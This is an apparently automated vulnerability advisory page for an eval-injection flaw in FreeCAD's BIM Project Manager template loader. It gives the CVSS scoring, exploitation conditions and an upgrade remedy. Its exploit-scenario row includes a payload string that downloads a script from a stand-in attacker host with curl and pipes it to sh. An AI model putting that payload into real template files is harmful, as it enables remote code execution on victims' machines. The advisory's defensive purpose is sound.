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AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
File-borne local delivery and mandatory user interaction are the only constraints; no target privileges needed; arbitrary code execution yields complete CIA impact.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
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4DescriptionCVE.org
FreeCAD is a free and open-source multiplatform 3D parametric modeler. From 0.19 until 1.1.1, src/Mod/BIM/bimcommands/BimProjectManager.py in the BIM Project Manager Load Template flow passes attacker-controlled FCStd Meta property values for wpposition, wpu, wpv, and wpaxis directly to eval(), allowing arbitrary Python code execution when a user loads a malicious BIM project template. This issue is fixed in version 1.1.1.
Articles & Coverage 1
AnalysisAI
Arbitrary Python code execution in FreeCAD's BIM module (versions 0.19 through pre-1.1.1) is triggered when a user opens a malicious project template file through the BIM Project Manager's Load Template function. The loadTemplate() method in BimProjectManager.py passes FCStd metadata fields (wpposition, wpu, wpv, wpaxis) directly to Python's built-in eval(), enabling an attacker who can deliver a crafted template to achieve full code execution under the victim's user account. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires: (1) the victim is running FreeCAD 0.19 through 1.1.0 with the BIM module loaded; (2) the victim explicitly opens a malicious FCStd BIM project template through the BIM Project Manager Load Template function, triggering the loadTemplate() method in src/Mod/BIM/bimcommands/BimProjectManager.py; (3) the malicious template contains attacker-controlled Python expressions embedded in any of the FCStd Meta properties wpposition, wpu, wpv, or wpaxis. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 7.8 score with AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H accurately reflects a file-borne code execution flaw - high impact but constrained by local delivery and mandatory user interaction. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker crafts a malicious FCStd project template file embedding arbitrary Python code - for example, a reverse shell or credential-harvesting script - in the wpposition metadata field as a string like 'Vector(__import__("os").system("curl attacker.com/shell.sh|sh"),0,0)'. The file is delivered to a FreeCAD BIM user via a phishing email or embedded in a collaborative project repository. … |
| Remediation | Upgrade to FreeCAD 1.1.1, the confirmed patched release available at https://github.com/FreeCAD/FreeCAD/releases/tag/1.1.1. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: inventory all FreeCAD installations across the organization, focusing on versions 0.19 through pre-1.1.1, and identify BIM module usage. …
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Same weakness CWE-95 – Eval Injection
View allSame technique Code Injection
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-60457